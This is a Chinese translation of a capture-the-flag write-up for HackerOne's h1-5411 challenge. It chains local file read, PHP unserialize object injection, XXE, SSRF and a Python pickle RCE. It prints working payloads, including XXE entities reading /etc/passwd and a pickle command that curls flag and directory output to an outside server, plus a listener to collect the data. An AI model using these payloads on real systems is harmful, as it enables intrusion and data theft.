导语:erbbysam和我最近打算挑战一下HackerOne举办的最新的CTF比赛。本文是我们从开始到结束所采取的过程的记录。

erbbysam和我最近打算挑战一下HackerOne举办的最新的CTF比赛。本文是我们从开始到结束所采取的过程的记录。

h1-5411 CTF以HackerOne发布的推文作为一个开始:

图片1.png

点击链接将引导你访问CTF网站:

· https://h1-5411.h1ctf.com/

这个网站允许你选择MEME模板,顶部文本和底部文本。这会生成一个保存到会话中的MEME,它是一个图像或txt文件。

图片2.png

生成Meme

POST请求如下所示:

POST /api/generate.php HTTP/1.1
Host: h1-5411.h1ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://h1-5411.h1ctf.com/generate.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 63
Cookie: PHPSESSID=qpvh9cil4heghbjdq6cp4vfbgs
Connection: close
 
template=template4.txt&type=text&top-text=test&bottom-text=test

template参数可以设置文件名用于MEME生成过程的一部分。

图片3.png

正如你可能猜到的,模板变量很容易产生本地文件读取(LFR)漏洞。只要将其设置为txt模板,就可以在系统上指定任意文件并获取其文件内容。这是获取PHP源代码的示例:

图片4.png

在这里,你可以在查看你保存的MEME模板的源代码:

图片5.png

在从index.php查找到每个文件在include()内包含的所有文件之后,我们最终得到了整个应用程序的源代码。下一步是弄清楚应用程序中存在哪些漏洞。

在/includes/classes.php文件中,首先看到的事情是开发者故意禁用了XXE保护。

图片6.png

这意味着DOMDocument-> loadXML()容易受到外部实体/DTD的攻击,并允许我们执行恶意的XXE有效载荷。这里的问题是,我们如何设置ConfigFile类的config_raw变量。

从/includes/header.php文件中,如果没有LFR漏洞,你将无法发现下面两个有趣的文件。

/import_memes_2.0.php
/export_memes_2.0.php

每个文件都会向/api/目录中的同名文件发送POST请求。

/api/import_memes_2.0.php

<?php
  require_once("../includes/config.php");
 
  if (isset($_FILES['f'])) {
    $new_memes = unserialize(base64_decode(
      file_get_contents($_FILES['f']['tmp_name'])));
    $_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes);
  }
 
  header("Location: /memes.php");
?>

/api/export_memes_2.0.php

<?php
  require_once("../includes/config.php");
 
  header('Content-Type: application/octet-stream');
  header('Content-Disposition: attachment; filename="'.time().'_export.memepak"');
  echo base64_encode(serialize($_SESSION['memes']));
?>

使用导入API脚本,我们可以使用文件上传POST请求指定unserialize()的输入。上传的反序列化数据将合并到$ _SESSION [“memes”]中,其中保存了所有MEME。

现在我们知道我们可以通过unserialize(对象注入)创建PHP对象,并且知道ConfigFile类中有一个XXE,我们必须弄清楚如何将它们放在一起利用。

ConfigClass有一个魔术方法函数__toString(),只要初始化类并将其视为字符串,它就会被调用。这通常意味着每个分配了类的变量都是echo,print,print_r等。

    function __toString() {
      $this->parse();
      $debug = "";
      $debug .= "Debug Info :\n";
      $debug .= "TopText => {$this->top_text}\n";
      $debug .= "BottomText => {$this->bottom_text}\n";
      $debug .= "Template Location => {$this->template}\n";
      $debug .= "Template Type => {$this->type}\n";
      return $debug;
    }

我们将在进一步解释攻击后讨论如何触发漏洞。在__toString()执行链之后,我们看到它立即调用了parse()函数。

   function parse() {
      $dom = new DOMDocument();
      $dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
      $o = simplexml_import_dom($dom);
 
      $this->top_text = $o->toptext;
      $this->bottom_text = $o->bottomtext;
      $this->template = $o->template;
      $this->type = $o->type;
    }

从上面的代码是可以看到希望的,因为$this-> config_raw被传递到易受攻击的loadXML()函数调用,并且不会被任何静态覆盖。这意味着如果我们创建一个反序列化的对象,我们可以指定config_raw变量,它将执行我们的XXE有效载荷。
我们通过删除此攻击链中涉及的所有代码来设置一个测试脚本,以便在启用警告的情况下在本地进行测试。他们的服务器没有显示任何PHP错误或警告,这意味着我们对我们遇到的任何潜在障碍完全看不到。

下面的gist就是我们的测试代码:

· https://gist.githubusercontent.com/ziot/e72c8c45865ea86d9c6aa6975615e839/raw/d0fb09a5a99be0c815c3e854e5b9900f2384b5dd/gistfile1.txt

使用上面的脚本,我们在config_raw中指定了我们的XXE有效载荷后,在新创建的类之上运行了base64_encode(serialize())函数。

示例代码:

class ConfigFile {
    ...
}
 
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "https://xss.buer.haus/ev.xml">%sp;%param1;]><r>&exfil;</r>';
 
echo base64_encode(serialize($test));

下一步是使用import_memes脚本上传它:

· https://h1-5411.h1ctf.com/import_memes_2.0.php

图片7.png

没有出错。但是我们遇到一个警告提示,说我们不能将一个数组和一个对象进行array_merge。这是有道理的,回顾/includes/config.php中的代码,我们可以看到$_SESSION [“memes”]是一个array()并获取存储在其中的字符串。

  // Start/Resume session
  session_start();
 
  // Setup session
  if (!isset($_SESSION['memes'])) {
    $_SESSION['memes'] = array();
  }

因此,为了将我们的对象存储到$_SESSION [“memes”]中,我们必须将序列化对象包装在一个数组中。这使事情变得有些复杂,因为我们发现利用toString()方法的唯一方法是在导出脚本上回显$_SESSION [“memes”]。这意味着我们需要找到一种新方法来执行toString魔术方法。

幸运的是,我们在generate.php文件中发现了这一点。

        foreach($_SESSION['memes'] as $meme) {
      ?>
        <iframe width="100%" height="450" frameborder="0"
                src="<?php echo htmlentities($meme); ?>"></iframe>
      <?php
        }
      }
      ?>

正如你在代码中看到的那样,它遍历$_SESSION [“meme”]数组中的所有项目并通过echo显示它们。当它击中存储在数组中的对象时,它将触发toString()执行,从而最终执行我们的XXE有效载荷。

以下是使用XXE有效载荷加载file:///etc/passwd的示例:

class ConfigFile {
    ...
}
 
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0"?><!DOCTYPE root[<!ENTITY foo SYSTEM "file:///etc/passwd">]><test><toptext>dddrrr &foo;</toptext></test>';
 
echo base64_encode(serialize(array($test)));

图片8.png

太棒了!现在确认我们终于成功利用XXE漏洞了。

那我们接下来做什么呢?我们已经利用了本地文件读取漏洞,所以接下来的事情可能与此无关。我记得我们在其中一个文件中看到了localhost。XXE使我们能够执行服务器端请求伪造,并且由于XML被呈现给用户,因此它也不是完全看不到的。这就使得我们能够获取和查看服务器的内部网站或服务。

这是/includes/classes.php中的注释

  /* Maintenance service: internal service on localhost, still under development!!
 
  class Maintenance {
    function __construct() {
      //TODO
    }
  }
 
  */

我们开始尝试各种http:// 来调用localhost,但我们运气不好。最终我们猜测它可能在一个随机的端口上,我们的第一个猜测是正确的!我们从查询http://localhost:1337得到了响应。服务端口是1337。

非盲目性的XXE有效载荷对于发现1337端口和功能至关重要:

<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/">
]><test><toptext> &foo;</toptext></test>

请求后将返回如下内容:

内部Meme服务

Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints:
/status - View maintenance status;
/update-status Change maintenance status;
Debug: The debug parameter allows debugging;

哦不,看起来,我们需要解决更多的挑战。

访问/状态/status?debug=1打印出如下信息:

Maintenance mode: off | Debug: KGlhcHAKU3RhdHVzCnAxCihkcDIKUydtZXNzYWdlJwpwMwpTJ01haW50ZW5hbmNlIG1vZGU6IG9mZicKcDQKc1MnbWFpbnRlbmFuY2UnCnA1CkkwMApzYi4=

Base64解码字符串后我们可以立即识别出它是Python pickle。这本质上是Python的序列化版本,并且具有类似的对象注入漏洞。但是,Python pickle通常会直接导致远程执行代码。

(iapp
Status
p1
(dp2
S'message'
p3
S'Maintenance mode: off'
p4
sS'maintenance'
p5
I00
Sb.

因此,我们应该尝试用“恶意”泡菜来更新状态!

通过有效形成的泡菜发送到/ update-status?status =&debug = 1导致消息:

A new status has been loaded. Automatic reloading not implemented yet!

不幸的是,对于/status页面不存在这个漏洞(一个畸形的pickle会显示错误输出),这意味着我们必须盲目性的发现漏洞,让这个“恶意”的pickle有效载荷生成器工作!所以我们下一步的策略是使用curl命令:

· https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd

运行下面的命令:

# python pickle.py 'curl -X POST -d "|$(cat flag.txt)|" myserver.com'
Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==

添加到php payload:

$test->config_raw = '<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==&debug=1">
]><test><toptext> &foo;</toptext></test>';

要上传的新mypack文件:

YToxOntpOjA7TzoxMDoiQ29uZmlnRmlsZSI6MTp7czoxMDoiY29uZmlnX3JhdyI7czozMTA6Ijw/eG1sIHZlcnNpb249IjEuMCI/Pg0KPCFET0NUWVBFIHJvb3QNClsNCjwhRU5USVRZIGZvbyBTWVNURU0gInBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9aHR0cDovL2xvY2FsaG9zdDoxMzM3L3VwZGF0ZS1zdGF0dXM/c3RhdHVzPVkzQnZjMmw0Q25ONWMzUmxiUXB3TVFvb1V5ZGpkWEpzSUMxWUlGQlBVMVFnTFdRZ0lud2tLR05oZENCbWJHRm5MblI0ZENsOElpQnRlWE5sY25abGNpNWpiMjBuQ25BeUNuUlNjRE1LTGc9PSZkZWJ1Zz0xIj4NCl0+PHRlc3Q+PHRvcHRleHQ+ICZmb287PC90b3B0ZXh0PjwvdGVzdD4iO319

再次访问memes.php时,只需使用简单的tornado监听器来获取POST响应即可:

import tornado.ioloop
import tornado.web
 
class MainHandler(tornado.web.RequestHandler):
    def post(self):
        print self.request.body
 
def make_app():
    return tornado.web.Application([
        (r"/.*", MainHandler),
    ])
 
if __name__ == "__main__":
    app = make_app()
    app.listen(80)
    tornado.ioloop.IOLoop.current().start()

使用此方法查看文件系统(“python pickle.py'curl -X POST -d”| $(ls -lath)|“myserver.com”)会产生下面的结果:

total 36K
drwxr-xr-x 1 root        root        4.0K Sep 26 16:20 ..
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 .
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 static
-rw-r--r-- 1 maintenance maintenance 1.7K Sep 23 19:28 app.py
-rw-r--r-- 1 maintenance maintenance 3.4K Sep 23 19:11 app.pyc
-rw-r--r-- 1 maintenance maintenance  150 Sep 23 19:07 flag.txt
-rw-r--r-- 1 maintenance maintenance   14 Sep 18 17:50 requirements.txt
-rw-r--r-- 1 maintenance maintenance   89 Sep 18 17:50 status.pickle
drwxr-xr-x 1 maintenance maintenance 4.0K Sep 18 17:50 templates

获取Flag

使用此方法查看flag.txt(“python pickle.py'curl -X POST -d”| $(cat flag.txt)|“myserver.com”)显示了如下内容:

Yay! Here is your flag:
 
flag{cha1n1ng_bugs_f0r_fun_4nd_pr0f1t?_or_rep0rt_an_LF1}
 
Go to https://hackerone.com/h1-5411-ctf and submit your writeup!

最终的利用源代码

用于生成有效载荷的PHP代码(适用于http://sandbox.onlinephpfunctions.com/):

<?php
 
$qqq= array("test", "abc");
 
class ConfigFile {
    function __construct($url) {
      $this->config_raw = $url;//file_get_contents($url);
    }
    function parse() {
        echo '<p>DEBUG: parse() hit (current config_raw = '.htmlspecialchars($this->config_raw).' )</p>';
      $dom = new DOMDocument();
      $dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
      $o = simplexml_import_dom($dom);
 
      $this->top_text = $o->toptext;
      $this->bottom_text = $o->bottomtext;
      $this->template = $o->template;
      $this->type = $o->type;
    }
 
    function generate() {
      $this->parse();
      $meme_path = "https://giphy.com/embed/Vuw9m5wXviFIQ?try_harder";
      if ($this->type == IMAGE) {
        if (@is_array(getimagesize($this->path))) {
          $meme_path = MEMES_FOLDER . $filename . ".jpg";
          $args = array(
            "top_text"    => $top_text,
            "bottom_text" => $bottom_text,
            "filename"    => $meme_path,
            "font"        => FONT_BASE,
            "memebase"    => $this->path,
            "textsize"    => 40,
            "textfit"     => true,
            "padding"     => 10,
          );
          memegen_build_image($args);
        }
      }
      if ($this->type == TEXT) {
        if ([email protected]_array(getimagesize($this->path))) {
          $contents = file_get_contents($this->path);
          $meme = "  " . strtoupper($top_text) . "\n\n" . $contents . "\n  " . strtoupper($bottom_text);
          $meme_path = MEMES_FOLDER . $filename . ".txt";
          file_put_contents($meme_path, $meme);
        }
      }
      return $meme_path;
    }
    function __toString() {
        echo '<p>DEBUG: toString() hit</p>';
      $this->parse();
      $debug = "";
      $debug .= "Debug Info :\n";
      $debug .= "TopText => {$this->top_text}\n";
      $debug .= "BottomText => {$this->bottom_text}\n";
      $debug .= "Template Location => {$this->template}\n";
      $debug .= "Template Type => {$this->type}\n";
      return $debug;
    }
}
 
$test = new ConfigFile("asdf");
 
$test->config_raw = '<?xml version="1.0"?>
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==&debug=1">
]><test><toptext> &foo;</toptext></test>';
 
$serialized = base64_encode(serialize(array($test)));
 
// test to make sure array_merge still works
$new_memes = unserialize(base64_decode($serialized));
$qqq = array_merge($qqq, $new_memes);
 
// print it
echo $serialized;
 
?

源链接

Hacking more

...